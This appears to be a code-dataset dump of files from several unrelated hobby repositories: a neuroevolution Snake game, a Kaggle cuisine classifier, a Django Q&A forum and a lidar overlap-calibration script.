self.Direction = 1\n self.Score = 0\n self.DScore = 0\n\n def get_data(self):\n apple_y = self.Apple[0]\n apple_x = self.Apple[1]\n head_y = self.Segments[0][0]\n head_x = self.Segments[0][1]\n dy = abs(apple_y - head_y)\n dx = abs(apple_x - head_x)\n distance = math.sqrt( ( apple_y - head_y )**2 + ( apple_x - head_x )**2 )\n tail_length = len(self.Segments)\n direction = self.Direction\n return [apple_y, apple_x, head_y, head_x, dy, dx, distance, tail_length, direction]\n\n def check_apple_position(self):\n again = True\n while again:\n count = 0\n for i in self.Segments:\n if self.Apple == i:\n self.Apple = [random.randint(0, self.BH - 1), random.randint(0, self.BW - 1)]\n count += 1\n if count == 0:\n again = False\n\n def copy_list(self, lst):\n l2 = []\n for i in lst:\n l2.append(list(i))\n return l2\n\n def follow(self):\n for i in range(1, len(self.Segments)):\n self.Segments[i] = list(self.PrevSegs[i-1])\n\n def check_collision_self(self):\n pos0 = list(self.Segments[0])\n for i in range(1,len(self.Segments)):\n if self.Segments[i] == pos0:\n\n if self.DScore <= 50:\n self.Score -= 600\n elif self.DScore > 50 and self.DScore <= 150:\n self.Score -= 450\n elif self.DScore > 150 and self.DScore <= 300:\n self.Score -= 300\n elif self.DScore > 300 and self.DScore <= 600:\n self.Score -= 150\n\n return True\n return False\n\n def check_collision_apple(self):\n if self.Segments[0] == self.Apple:\n self.Segments.append([0,0])\n self.follow()\n self.check_apple_position()\n self.Score += 100\n\n def direction(self, key):\n # w = 0, s = 1, a = 2, d = 3, nothing = 4\n if key == 0 and self.Direction is not 1:\n self.Direction = 0\n elif key == 1 and self.Direction is not 0:\n self.Direction = 1\n elif key == 2 and self.Direction is not 3:\n self.Direction = 2\n elif key == 3 and self.Direction is not 2:\n self.Direction = 3\n elif key == 4:\n pass\n\n def move(self):\n self.PrevSegs = self.copy_list(self.Segments)\n if self.Direction == 0:\n self.up()\n elif self.Direction == 1:\n self.down()\n elif self.Direction == 2:\n self.left()\n elif self.Direction == 3:\n self.right()\n\n self.follow()\n if self.check_collision_self():\n return True\n self.check_collision_apple()\n self.Score -= 1\n self.DScore += 1\n\n return False\n \n def up(self):\n if self.Segments[0][0] == 0:\n self.Segments[0][0] = self.BH - 1\n else:\n self.Segments[0][0] -= 1\n\n def down(self):\n if self.Segments[0][0] == self.BH - 1:\n self.Segments[0][0] = 0\n else:\n self.Segments[0][0] += 1\n\n def left(self):\n if self.Segments[0][1] == 0:\n self.Segments[0][1] = self.BW - 1\n else:\n self.Segments[0][1] -= 1\n\n def right(self):\n if self.Segments[0][1] == self.BW - 1:\n self.Segments[0][1] = 0\n else:\n self.Segments[0][1] += 1 \n\nclass Game:\n def __init__(self, width, height, title, Neuralnet, demo):\n self.WIDTH = width\n self.HEIGHT = height\n self.TITLE = title\n self.Neural_net = Neuralnet\n self.FPS = 10\n self.Demo = demo\n pg.init()\n\n if self.Demo is True:\n self.Screen = pg.display.set_mode((self.WIDTH, self.HEIGHT))\n pg.display.set_caption(self.TITLE)\n\n self.Clock = pg.time.Clock()\n self.Running = True\n\n self.Board = Board(self.WIDTH, self.HEIGHT, 16, 12)\n self.Snake = Snake(16,12)\n\n def get_keys(self, input):\n output = self.Neural_net.feed_forward(input)\n key = np.argmax(output)\n return key\n\n def run(self):\n while self.Running:\n if self.Demo is True:\n self.Clock.tick(self.FPS)\n self.render()\n\n self.events()\n self.update()\n \n return self.Snake.Score\n pg.quit()\n\n def update(self):\n nn_key = self.get_keys(self.Snake.get_data())\n self.Snake.direction(nn_key)\n if self.Snake.move() or self.Snake.DScore >= 600:\n self.Running = False\n self.Board.update(self.Snake)\n \n def events(self):\n for event in pg.event.get():\n if event.type == pg.QUIT: \n self.Running = False\n \n def render(self):\n self.Screen.fill(BLACK)\n self.Board.draw(self.Screen)\n pg.display.flip()\n" }, { "alpha_fraction": 0.7118644118309021, "alphanum_fraction": 0.7118644118309021, "avg_line_length": 19, "blob_id": "15e738519cd3f6f90218ec48b7e3f527f7ccfca0", "content_id": "b501fd936c6ed2f0f843280802c0a211d1216842", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 59, "license_type": "no_license", "max_line_length": 29, "num_lines": 3, "path": "/readme.md", "repo_name": "KGuetfade/SnakeAI", "src_encoding": "UTF-8", "text": "## How to run\n* clone project\n* run `python mainprogram.py`" }, { "alpha_fraction": 0.5735949873924255, "alphanum_fraction": 0.5941123962402344, "avg_line_length": 30.439252853393555, "blob_id": "dddef73cb328f358f83488aa3fa3e02602e5cbd4", "content_id": "492d9c8b872d0a547dbd8e1948573b980d953a9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3363, "license_type": "no_license", "max_line_length": 133, "num_lines": 107, "path": "/MainProgram.py", "repo_name": "KGuetfade/SnakeAI", "src_encoding": "UTF-8", "text": "from Neuralnet import Neuralnet\nfrom Game import Game\nimport time\nimport datetime\nimport random\nimport statistics\nimport os\nimport numpy as np\nimport sys\nimport matplotlib.pyplot as plt\n\nrandom.seed(time.time())\nWIDTH = 800\nHEIGHT = 600\nNAME = 'Snake'\n\ndef create_population(size, layers):\n print('Creating Population')\n print('===================')\n return [Neuralnet(layers) for i in range(size)]\n\ndef get_fitness(net, games=5, demonstrate=None):\n fit_list = []\n for i in range(games):\n game = Game(WIDTH, HEIGHT, NAME, net, demonstrate)\n score = game.run()\n fit_list.append(score)\n\n return statistics.mean(fit_list)\n\ndef get_pop_fitness(lst):\n lst = [x[0] for x in sorted(lst, key=lambda l:l[0])]\n return statistics.mean(lst)\n\ndef demonstrate_best(lst, games1=1):\n average_net = sorted(lst, key=lambda l:l[0])[int(len(lst)/2)][1]\n best_net = sorted(lst, key=lambda l:l[0])[len(lst) - 1][1]\n \n print('Average Net')\n f1 = get_fitness(average_net, games=games1, demonstrate=True)\n print('------------------')\n print('Best Net')\n f2 = get_fitness(best_net, games=games1, demonstrate=True)\n print('===================')\n return f1,f2\n\ndef evolve(pop, retain=0.075, random_select=30, mutate=150):\n print('Getting Population Fitness')\n print('===================')\n fitlist = []\n t1 = time.time()\n for i in range(len(pop)):\n fitlist.append([get_fitness(pop[i]), pop[i]])\n if i % int(len(pop)/10) == 0 and i is not 0 or i is 1:\n dt = (time.time() - t1) / 60\n print('CI: ', i, ' || Time taken: ', dt, ' Minutes', ' || Time Left: ', (dt/int(len(pop)/10)) * (len(pop)-i), ' Minutes')\n t1 = time.time()\n\n #fitlist = [ [get_fitness(x), x] for x in pop]\n\n pop_fit = get_pop_fitness(fitlist)\n print('Population Average Fitness: ', pop_fit)\n print('===================')\n av_f, b_f = demonstrate_best(fitlist)\n print('Average Fitness: ', av_f, ' || Best Fitness: ', b_f)\n print('===================')\n\n print('Evolving')\n print('===================')\n netlist = [ x[1] for x in sorted(fitlist, key=lambda l:l[0])]\n retain_length = int(len(netlist)*(1-retain))\n parents = netlist[retain_length:]\n #randomly choose bad individual\n for i in netlist[:retain_length]:\n rv = random.randrange(0, random_select)\n if rv == random.randrange(0, random_select):\n parents.append(i)\n \n children_amount = len(pop) - len(parents)\n children = []\n while len(children) < children_amount:\n male = random.randint(0, len(parents) - 1)\n female = random.randint(0, len(parents) - 1)\n current_parents = [parents[male], parents[female]]\n\n if current_parents[0] is not current_parents[1]:\n child = Neuralnet(parents=current_parents, mutate_prob=mutate)\n children.append(child)\n\n parents.extend(children)\n return parents\n\ndef main(generations):\n layers = [9,18,10,5]\n initial_pop = create_population(750, layers)\n current_pop = evolve(initial_pop)\n\n for i in range(1, generations+1):\n print('Current Generation: ', i)\n current_pop = evolve(current_pop)\n\n print('Saving Neural Network Model')\n current_pop[0].save_net(\"neuralnet.txt\")\n\nif __name__ == '__main__':\n main(55)\n#make a graph of fitness" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5583622455596924, "avg_line_length": 41.63905334472656, "blob_id": "d850a1fc08f6d91c2d96baf5080038c2fac59b2c", "content_id": "18b9791f61c8fa7c4a489d6cba9f77964d3308ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7205, "license_type": "no_license", "max_line_length": 196, "num_lines": 169, "path": "/Neuralnet.py", "repo_name": "KGuetfade/SnakeAI", "src_encoding": "UTF-8", "text": "import random\nimport time\nimport numpy as np\n\nclass Neuralnet:\n def __init__(self, layers=None, neuralnet=None, parents=None, mutate_prob=None, path=None):\n self.layers = list()\n self.neurons = list()\n self.weights = list()\n random.seed(time.time())\n\n if layers is not None and neuralnet is None and parents is None and path is None:\n #list with amount of neurons as each index\n self.layers = layers\n #list with lists(layers) which contain value of neurons\n self.init_neurons()\n #list with lists(layers) with list with neurons weights for each neuron\n self.init_weights()\n\n self.layers = np.asarray(self.layers)\n self.neurons = np.asarray(self.neurons)\n self.weights = np.asarray(self.weights)\n elif neuralnet is not None and layers is None and parents is None and path is None:\n self.layers = Neuralnet.layers()\n self.neurons = Neuralnet.neurons()\n self.weights = Neuralnet.weights()\n elif parents is not None and layers is None and neuralnet is None and path is None:\n if mutate_prob is None:\n self.evolve(parents, 1000)\n elif mutate_prob is not None:\n self.evolve(parents, mutate_prob)\n elif path is not None and layers is None and neuralnet is None and parents is None:\n self.read_net(path)\n self.layers = np.asarray(self.layers)\n self.neurons = np.asarray(self.neurons)\n self.weights = np.asarray(self.weights)\n else:\n print(\"Error: Check input\")\n\n def init_neurons(self):\n for i in self.layers:\n #adds list with neurons to each layer\n self.neurons.append([x for x in range(i)])\n\n def init_weights(self):\n #goes through each layer, but not the input layer\n for i in range(1,len(self.layers)):\n neurons_in_previous_layer = self.layers[i - 1]\n layersweights = list()\n #goes through each neuron in current layer\n for j in self.neurons[i]:\n weightlist = list()\n #goes through each previous neuron, because thats the amount of weights the current neuron needs\n for k in range(neurons_in_previous_layer):\n #add random weight to weightlist of current neuron\n weightlist.append(random.random() - 0.5)\n layersweights.append(weightlist)\n self.weights.append(layersweights)\n \n def feed_forward(self, inputs, bias=0):\n #put input in first input layer\n self.neurons[0] = inputs\n #go through each layer, but not the input layer\n for i in range(1,len(self.layers)):\n #go through each neuron\n for j in range(len(self.neurons[i])):\n value = bias #bias or something idk\n #go through each previous neuron\n for k in range(len(self.neurons[i - 1])):\n #multiply each weight with corresponding previous neuron and sum all off them\n value += self.weights[i-1][j][k] * self.neurons[i - 1][k]\n #makes the neuron the current value and applies an activation function on it\n self.neurons[i][j] = np.tanh(value) \n #return list of output neurons\n return self.neurons[len(self.neurons) - 1]\n\n #parents = list of 2 nn\n def evolve(self, parents, mutate_prob):\n self.layers = parents[0].layers\n self.neurons = parents[0].neurons\n self.init_weights()\n\n for i in range(len(parents[0].weights)):\n for j in range(len(parents[0].weights[i])):\n for k in range(len(parents[0].weights[i][j])):\n rv = random.randrange(0,2)\n if rv == 0:\n self.weights[i][j][k] = parents[0].weights[i][j][k]\n elif rv == 1:\n self.weights[i][j][k] = parents[1].weights[i][j][k]\n\n self.mutate(mutate_prob)\n\n def mutate(self, chance):\n rv1 = random.randrange(0,chance)\n #i = layers, j = neurons, k = each weight for neuron\n for i in range(len(self.weights)):\n for j in range(len(self.weights[i])):\n for k in range(len(self.weights[i][j])):\n rv2 = random.randrange(0,chance)\n if rv1 == rv2:\n self.weights[i][j][k] += (random.random() - 0.5)\n elif rv1 + rv2 == chance:\n self.weights[i][j][k] *= -1\n\n def print_net(self):\n print(\"layers: \", self.layers)\n print(\"neurons: \", self.neurons)\n print(\"weights: \", self.weights)\n\n #Writes the amount of layers, writes the amount of neurons in each layer, writes the weights of each layer\n #Individual weights and layers are seperated by '/' layers and weights are divided by '.'\n def save_net(self, path):\n file = open(path, mode='w', encoding='utf-8', newline='')\n for i in self.layers:\n file.write(str(i))\n file.write('/')\n file.write('.')\n for i in range(len(self.weights)):\n for j in range(len(self.weights[i])):\n for k in range(len(self.weights[i][j])):\n file.write(str(self.weights[i][j][k]))\n file.write('/')\n file.close()\n\n def read_net(self, path):\n file = open(path, mode='r', encoding='utf-8', newline='')\n f_data = file.read()\n\n first_dot = 0\n current_neurons_amount = ''\n amount_neurons_prev_layer = 0\n layer_index = 0\n for i in f_data:\n #checks whether end of layer data has been reached\n if i is '.' and first_dot is 0:\n first_dot = 1\n self.init_neurons()\n\n #Read amount of neurons for each layer (layer data)\n if first_dot is 0:\n if i is not '/':\n current_neurons_amount.append(i)\n else:\n self.layers.append(int(current_neurons_amount))\n current_neurons_amount = ''\n \n #Read amount of weights for each layer\n if first_dot is 1:\n amount_neurons_prev_layer = self.layers[layer_index]\n pass\n\n file.close()\n\n\n'''\nNeurons: [\n [1,2,3] -> layer1 (input) with 3 neurons\n [1,2,3,4] -> layer2 with 4 neurons\n [1,2] -> layer3 (output) with 2 neurons\n ]\nItems in first list are the layers, items in second list are the neurons\n\nWeights: [\n [ [1,2,3], [1,2,3], [1,2,3], [1,2,3] ] -> layer2 with 4 neurons -> 1,2,3 represent neurons connection with each input (or previous neuron)\n [ [1,2,3,4], [1,2,3,4] ] -> layer3 (output) with 2 neurons -> 1,2,3,4 represent neurons connection with each input\n ]\nItems in first list are the layers, items in second list are the neurons and items in third list are the connections between that neuron and all previous neurons aka the connection each neuron has\n'''" } ]
4
Luuuc1fer/WhatsCooking
https://github.com/Luuuc1fer/WhatsCooking
c953a395c9593364d8f0c77923c52ba0f57c1fa5
33b518ca43b718c51db9ba242509c36ab28f8721
868667cb4b0ae0bd81438fbd51a49074c64142ed
refs/heads/master
2021-01-20T03:49:26.355419
2017-08-25T05:47:27
2017-08-25T05:47:27
101,370,227
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6822621822357178, "alphanum_fraction": 0.6874036192893982, "avg_line_length": 36.403846740722656, "blob_id": "5ca4323639501279db3e91ca8563e538696514f0", "content_id": "b6990ad4b4793ef4f3f84ac77fba1216fb9ac7f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1945, "license_type": "no_license", "max_line_length": 97, "num_lines": 52, "path": "/DataExpolration.py", "repo_name": "Luuuc1fer/WhatsCooking", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport re\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.decomposition import PCA\nfrom sklearn import model_selection\nfrom sklearn.linear_model import LogisticRegression\n\nif __name__ == '__main__':\n # load data\n train_df = pd.read_json('input/train.json', encoding='utf-8')\n test_df = pd.read_json('input/test.json', encoding='utf-8')\n ingredients_train_df = train_df['ingredients']\n ingredients_test_df = test_df['ingredients']\n labels_train_df = train_df['cuisine']\n\n regex = re.compile('[^A-Za-z0-9]')\n for ingredients in ingredients_train_df:\n for index, ingredient in enumerate(ingredients):\n ingredients[index] = regex.sub('_', ingredient)\n for ingredients in ingredients_test_df:\n for index, ingredient in enumerate(ingredients):\n ingredients[index] = regex.sub('_', ingredient)\n\n vectorizer = CountVectorizer()\n ingredients_text_list = [' '.join(ingredients) for ingredients in list(ingredients_train_df)]\n train_X = vectorizer.fit_transform(ingredients_text_list).toarray()\n\n label_encoder = LabelEncoder()\n train_Y = label_encoder.fit_transform(labels_train_df)\n\n test_X = CountVectorizer(vocabulary=vectorizer.vocabulary_).fit_transform(\n [' '.join(ingredients) for ingredients in list(ingredients_test_df)]).toarray()\n\n pca = PCA(n_components=2000)\n train_X = pca.fit_transform(train_X)\n test_X = pca.transform(test_X)\n\n clf = LogisticRegression()\n score = model_selection.cross_val_score(clf, train_X, train_Y, cv=5, n_jobs=-1)\n print(score)\n\n clf.fit(train_X, train_Y)\n test_Y = clf.predict(test_X)\n test_Y = label_encoder.inverse_transform(test_Y)\n\n submission = pd.DataFrame({\n \"id\": test_df['id'],\n \"cuisine\": test_Y\n })\n submission.to_csv('output/submission.csv', index=False)\n" }, { "alpha_fraction": 0.6864407062530518, "alphanum_fraction": 0.6970338821411133, "avg_line_length": 38.41666793823242, "blob_id": "d83dd3d047872bdba31d39e529f5f012cae6664e", "content_id": "227631162aef2861fd6ab2fcc037212a50fabd09", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 472, "license_type": "no_license", "max_line_length": 126, "num_lines": 12, "path": "/test.py", "repo_name": "Luuuc1fer/WhatsCooking", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom sklearn import model_selection\nfrom sklearn import datasets\nfrom sklearn import svm\n\nif __name__ == '__main__':\n iris = datasets.load_iris()\n X_train, X_test, y_train, y_test = model_selection.train_test_split(iris.data, iris.target, test_size=0.4, random_state=0)\n print(X_train.shape, y_train.shape)\n clf = svm.SVC(kernel='linear', C=1)\n scores = model_selection.cross_val_score(clf, iris.data, iris.target, cv=5)\n print(scores)" }, { "alpha_fraction": 0.5674999952316284, "alphanum_fraction": 0.5975000262260437, "avg_line_length": 31.632652282714844, "blob_id": "6d20c5760689567b5219885350c7edc5cf57270d", "content_id": "160653fec942be01944106701c0d7ce96b7612ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1600, "license_type": "no_license", "max_line_length": 91, "num_lines": 49, "path": "/report.py", "repo_name": "Luuuc1fer/WhatsCooking", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport math\nfrom sklearn.datasets import load_iris\nfrom sklearn import linear_model\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n\ndef draw_sigmoid():\n x = np.arange(-10.0, 10.0, 0.02)\n y = 1 / (1 + np.exp(-x))\n plt.xlim(x.min(), x.max())\n plt.ylim(y.min(), y.max())\n plt.plot(x, y, color=\"blue\", lineWidth=2.5, linestyle=\"-\")\n plt.xlabel('x')\n plt.ylabel('y')\n plt.title(\"Sigmoid(x)\")\n plt.show(math.sigm)\n\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\n\nif __name__ == '__main__':\n # iris = load_iris()\n # logreg = linear_model.LogisticRegression(C=1e5)\n # logreg.fit(iris['data'], iris['target'])\n # sample = np.array([[6.4, 3.1, 5.5, 1.8], [5.1, 3.7, 1.5, 0.4], [5.9, 3.0, 4.2, 1.5]])\n # print(logreg.predict_proba(sample))\n # print(logreg.predict(sample))\n # raw = sigmoid(np.dot(sample, logreg.coef_.T) + np.tile(logreg.intercept_, (3, 1)))\n # raw /= raw.sum(axis=1)\n # print(raw)\n # for row in sample:\n # print(sigmoid(np.dot(logreg.coef_,sample.T)+np.tile(logreg.intercept_, (3,1))))\n # print(np.dot(logreg.coef_,sample.T)+np.tile(logreg.intercept_, (3,1)))\n tags = [\n \"python, tools\",\n \"linux, tools, ubuntu\",\n \"distributed systems, linux, networking, tools\",\n ]\n # python tools linux ubuntu distributed systems networking\n vec = CountVectorizer()\n data = vec.fit_transform(tags).toarray()\n print(data)\n t = [[\"python\", \"tools\"], [\"linux\", \"tools\", \"ubuntu\"]]\n tt = [' '.join(ttt) for ttt in t]\n print(tt)\n\n" } ]
3
ifelse-development/exenv-forum
https://github.com/ifelse-development/exenv-forum
55ed8857877d46b9c6dcf11e9738eb53428da9ad
4fa6a2f1e9e601761db72b062293622bc7834d23
681b262dbaa3ea410d265e32b42a2cba2dd154d5
refs/heads/master
2021-01-24T06:48:51.928345
2017-06-04T12:48:14
2017-06-04T12:48:14
93,323,786
0
0
null
2017-06-04T15:46:03
2017-05-30T16:45:46
2017-06-04T12:48:50
null
[ { "alpha_fraction": 0.5519999861717224, "alphanum_fraction": 0.593999981880188, "avg_line_length": 22.809524536132812, "blob_id": "8926bfd10824d723144ae3b11c6a0d9f267946de", "content_id": "702b115f74bd4d651025b500b59cc0d3f6adea19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 500, "license_type": "no_license", "max_line_length": 63, "num_lines": 21, "path": "/forum/migrations/0004_questionpost_file.py", "repo_name": "ifelse-development/exenv-forum", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.1 on 2017-06-02 19:05\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('forum', '0003_questionpost_title'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='questionpost',\n name='file',\n field=models.FileField(default='', upload_to=None),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.7298578023910522, "alphanum_fraction": 0.7440758347511292, "avg_line_length": 39.14285659790039, "blob_id": "c34cb1d70509539c66cb50f586adc9541541a98b", "content_id": "baceb21e46b6fcc40ee33b635cf0c173b455d401", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 844, "license_type": "no_license", "max_line_length": 93, "num_lines": 21, "path": "/forum/models.py", "repo_name": "ifelse-development/exenv-forum", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\ntext = 'defaulttext'\nclass QuestionPost(models.Model):\n question = models.TextField()\n title = models.CharField(max_length=500, null=True, blank=True)\n tag = models.CharField(max_length=200)\n file = models.FileField(upload_to='media/pictures/', max_length=100, default=None)\n created = models.DateTimeField(auto_now_add=True)\n\nclass Comment(models.Model):\n post = models.ForeignKey(QuestionPost, related_name='comments', on_delete=models.CASCADE)\n author = models.CharField(max_length=200)\n text = models.TextField()\n created_date = models.DateTimeField(default=timezone.now)\n\n def __str__(self):\n return self.text\n\n" }, { "alpha_fraction": 0.7015590071678162, "alphanum_fraction": 0.7015590071678162, "avg_line_length": 23.88888931274414, "blob_id": "3f1164ed780ddba0f23500e94c60e4346439578a", "content_id": "1f7e0eafbed3e6953c791ca6d7d9b82399689f06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 449, "license_type": "no_license", "max_line_length": 54, "num_lines": 18, "path": "/forum/forms.py", "repo_name": "ifelse-development/exenv-forum", "src_encoding": "UTF-8", "text": "from django import forms\nfrom .models import Comment, QuestionPost\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\n#Create your models here.\n\nclass QuestionPostForm(forms.ModelForm):\n\n class Meta:\n model = QuestionPost\n fields = ('title','question', 'tag','file')\n\n\nclass CommentForm(forms.ModelForm):\n\n class Meta:\n model = Comment\n fields = ('author', 'text',)\n\n" }, { "alpha_fraction": 0.6730158925056458, "alphanum_fraction": 0.6833333373069763, "avg_line_length": 42.44827651977539, "blob_id": "97104b3185009d84bfe34a6cf2ef40cb50a78ff7", "content_id": "f708fc05c00bb31ec915de643994d4f6f020ad4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1260, "license_type": "no_license", "max_line_length": 111, "num_lines": 29, "path": "/forum/urls.py", "repo_name": "ifelse-development/exenv-forum", "src_encoding": "UTF-8", "text": "\"\"\"exenv URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom . import views\n\nadmin.autodiscover()\napp_name = 'forum'\nurlpatterns = [\n url(r'^$', views.get_index_page, name='get_index_page'),\n url(r'^ask/$', views.get_question, name='get_question'),\n url(r'^recent/$', views.recent_questions, name='recent_questions'),\n url(r'^all/$', views.QuestionOversight, name='QuestionOversight'),\n url(r'^view/(?P<question_url_id>[0-9]+)/$', views.get_the_text, name='get_the_text'),\n url(r'^view/(?P<question_url_id>[0-9]+)/comment/$', views.add_comment_to_post, name='add_comment_to_post'),\n]\n" } ]
4
lmingari/lidar_SMN
https://github.com/lmingari/lidar_SMN
e8b17a33b8fc77d549b219c4f56edc23afdea0d0
52293ece21048424e1cb265f6220f6859b608ae9
0393d550fbdc08259ccdfd843215a01443fb4af2
refs/heads/master
2021-04-09T14:34:27.708556
2019-05-02T13:08:21
2019-05-02T13:08:21
125,753,349
0
1
null
2018-03-18T18:06:42
2018-04-10T16:10:05
2019-05-02T11:21:22
Python
[ { "alpha_fraction": 0.578158438205719, "alphanum_fraction": 0.6051927208900452, "avg_line_length": 28.1953125, "blob_id": "6db9b372478912f927dc62072b9bf38b36be8971", "content_id": "27a6dd84998fca9aafca527e3ca67592f3ef2a4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3736, "license_type": "no_license", "max_line_length": 97, "num_lines": 128, "path": "/Utilities/Overlap/main.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n\nimport matplotlib\nmatplotlib.use('GTKAgg') \nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom Plots import show_raw\nfrom Overlap import SelectPoint\nfrom netCDF4 import Dataset, num2date\nfrom ConfigParser import SafeConfigParser\nfrom datetime import datetime\nfrom os.path import isfile, join, dirname, abspath\nimport sys\n\n################# Parameters ###############################################\ncfgfile = \"parameters.cfg\"\nblock = \"aeroparque\"\nvarname = \"ch3\" # Channel\nyrfile = 'overlap.cfg' # Overlap file\nt1 = datetime(year=2018, month=10, day=4, hour=17, minute=0) # Start date and time\nt2 = datetime(year=2018, month=10, day=4, hour=18, minute=30) # Final date and time\nPlot = False\nSmooth = False\nDebug = True\n############################################################################\n\ncfgpath = dirname(__file__)\ncfgpath = join(cfgpath,\"../..\")\ncfgpath = abspath(cfgpath)\ncfgfile = join(cfgpath, cfgfile)\n\nconfig = SafeConfigParser()\nconfig.read(cfgfile)\n\n#Read parameters from an external file (string case)\nstation = config.get(block, \"prefix\")\nwsmooth = config.getint(block, \"wsmooth\")\nncpath_raw = config.get(\"Paths\", \"ncpath_raw\")\nncfile_raw = config.get(\"Paths\", \"ncfile_raw\")\nncfile_raw = join(ncpath_raw,station+ncfile_raw)\n\nif varname=='ch3':\n #Output file for IR channel\n yrfile = config.get(\"Paths\", \"yrfile_ir\")\nelse:\n #Output file for Vis channel\n yrfile = config.get(\"Paths\", \"yrfile_vis\")\n\nif isfile(ncfile_raw):\n\tif Debug: print \"Opening file: \", ncfile_raw\n\t### Read Time, Data (mV), Heigth (km)\n\tds = Dataset(ncfile_raw)\n\tdata = ds.variables[varname][:]\n\ttimes = ds.variables[\"time\"]\n\tz = ds.variables[\"alt\"][:]\n\tx = num2date(times[:],units=times.units)\n\tds.close()\nelse:\n\tprint \"Unable to open file: \", ncfile_raw\n\tsys.exit()\n\ndata = data.T \n\n### Number of profiles and vertical levels\nNX = len(x)\nNZ = len(z)\n\nprint \"Time range in data: {} to {}\".format(x[0],x[-1])\nprint \"Time range required: {} to {}\".format(t1,t2)\nif t1>t2:\n\tprint \"Swaping datetime range\"\n\tt1, t2 = t2, t1\nn1,n2 = np.searchsorted(x,[t1,t2])\nif n1==NX:\n\tprint \"Please, redefine lower boundary in time range\"\n\tsys.exit()\nelif n2==0:\n\tprint \"Please, redefine higher boundary in time range\"\n\tsys.exit()\nelse:\n\tn2 -= 1\nprint \"Time range used: {} to {}\".format(x[n1],x[n2])\n\nfig, axarr = plt.subplots(2)\n#\naxarr[0].set_xlabel(r'Lidar signal $[mV]$') \naxarr[0].set_ylabel(r'Altitude $[km]$')\n#\naxarr[1].set_xlabel(r'Range-corrected Lidar signal $[mV \\, \\, km^2]$')\naxarr[1].set_ylabel(r'Altitude $[km]$')\n\n#Plot Raw data\naxarr[0].semilogy(data[:,n1:n2],z,'-')\n\n#Obtain Range-corrected Lidar signal (RCLS)\nif varname=='ch3':\n for it in range(NX):\n coeff = np.polyfit(z[-2000:], data[-2000:,it], 1)\n pol = np.poly1d(coeff)\n data[:,it] = (data[:,it] - pol(z)) *z**2\nelif varname=='ch2':\n for it in range(NX):\n coeff = np.polyfit(z[-1000:], data[-1000:,it], 1)\n pol = np.poly1d(coeff)\n data[:,it] = (data[:,it] - pol(z)) *z**2\nelse:\n for it in range(NX):\n coeff = np.polyfit(z[-1000:], data[-1000:,it], 1)\n pol = np.poly1d(coeff)\n data[:,it] = (data[:,it] - pol(z)) *z**2\n\n### Smoothing\nif Smooth:\n print \"Performing smoothing with parameter wsmooth:{}\".format(wsmooth)\n for it in range(NX):\n data[:,it] = np.convolve(data[:,it],np.ones(wsmooth)/wsmooth,mode='same')\n \nif Plot:\n show_raw(x,data,z,maxalt=18.)\n\n#Plot RCLS data\naxarr[1].plot(data[:,n1:n2],z,'-')\n\nif Debug: print \"Output file: \", yrfile\n\ndr = SelectPoint(data[:,n1:n2],z,yrfile)\n\nplt.show()" }, { "alpha_fraction": 0.8025878071784973, "alphanum_fraction": 0.8118299245834351, "avg_line_length": 42.629032135009766, "blob_id": "f8ee4b37abddaec62954b5e52eda0142f6bf4b90", "content_id": "fa1316173d521ef83c2b145af0b46e94cf68b344", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2745, "license_type": "no_license", "max_line_length": 96, "num_lines": 62, "path": "/README.md", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "lidar-v2.2\n\n**********\nUpdates:\n16 abr 2018: \nFile checking improved in ReadRaw module\n17 abr 2018:\nChanged colour palette as Caliop one\n**********\n\nLidar Products for Elastic Scattering - SAVERNet Project\n\nEste programa estรก destinado a obtener los productos de datos Lidar para los canales \nelรกsticos 1064 nm y 532 nm en sus dos componentes perpendiculares. Uno de los objetivos \nmรกs importante de estos productos es caracterizar la presencia de aerosoles en la atmรณsfera, \ntรญpicamente por 